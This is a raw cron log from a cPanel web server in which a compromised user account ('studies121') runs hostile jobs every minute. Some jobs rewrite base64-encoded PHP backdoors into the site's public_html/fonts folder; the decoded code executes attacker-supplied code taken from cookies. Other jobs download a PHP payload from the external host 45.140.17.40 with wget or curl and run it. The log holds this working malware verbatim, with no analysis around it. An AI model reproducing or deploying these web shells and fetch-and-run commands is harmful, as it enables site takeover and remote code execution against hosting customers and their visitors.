Sep  9 10:01:01 ip-184-168-122-23 CROND[25693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:01:01 ip-184-168-122-23 CROND[25694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:01:01 ip-184-168-122-23 CROND[25699]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:01:01 ip-184-168-122-23 CROND[25697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25692]: starting 0anacron
Sep  9 10:01:01 ip-184-168-122-23 CROND[25701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25713]: finished 0anacron
Sep  9 10:02:01 ip-184-168-122-23 CROND[25806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:02:01 ip-184-168-122-23 CROND[25809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:02:01 ip-184-168-122-23 CROND[25808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:02:01 ip-184-168-122-23 CROND[25811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:02:01 ip-184-168-122-23 CROND[25810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:03:01 ip-184-168-122-23 CROND[25973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:03:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:03:01 ip-184-168-122-23 CROND[25976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:03:01 ip-184-168-122-23 CROND[25977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:04:01 ip-184-168-122-23 CROND[26076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:04:01 ip-184-168-122-23 CROND[26079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:04:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:04:01 ip-184-168-122-23 CROND[26080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:04:01 ip-184-168-122-23 CROND[26081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:05:01 ip-184-168-122-23 CROND[26203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:05:01 ip-184-168-122-23 CROND[26207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:05:01 ip-184-168-122-23 CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:05:01 ip-184-168-122-23 CROND[26208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:05:01 ip-184-168-122-23 CROND[26205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:05:01 ip-184-168-122-23 CROND[26209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:05:01 ip-184-168-122-23 CROND[26210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:06:01 ip-184-168-122-23 CROND[26312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:06:01 ip-184-168-122-23 CROND[26314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:06:01 ip-184-168-122-23 CROND[26316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:06:01 ip-184-168-122-23 CROND[26317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:06:01 ip-184-168-122-23 CROND[26319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:07:01 ip-184-168-122-23 CROND[26431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:07:01 ip-184-168-122-23 CROND[26433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:07:01 ip-184-168-122-23 CROND[26435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:07:01 ip-184-168-122-23 CROND[26434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:08:01 ip-184-168-122-23 CROND[26534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:08:01 ip-184-168-122-23 CROND[26536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:08:01 ip-184-168-122-23 CROND[26537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:08:01 ip-184-168-122-23 CROND[26539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:08:01 ip-184-168-122-23 CROND[26538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:09:02 ip-184-168-122-23 CROND[26731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:09:02 ip-184-168-122-23 CROND[26734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:09:02 ip-184-168-122-23 CROND[26738]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 10:09:02 ip-184-168-122-23 CROND[26739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:09:02 ip-184-168-122-23 CROND[26743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:10:01 ip-184-168-122-23 CROND[26870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:10:01 ip-184-168-122-23 CROND[26880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:10:01 ip-184-168-122-23 CROND[26879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:11:01 ip-184-168-122-23 CROND[26991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:11:01 ip-184-168-122-23 CROND[26992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:11:01 ip-184-168-122-23 CROND[26993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:11:01 ip-184-168-122-23 CROND[26997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:12:01 ip-184-168-122-23 CROND[27091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:12:01 ip-184-168-122-23 CROND[27092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:12:01 ip-184-168-122-23 CROND[27093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:12:01 ip-184-168-122-23 CROND[27096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:12:01 ip-184-168-122-23 CROND[27099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
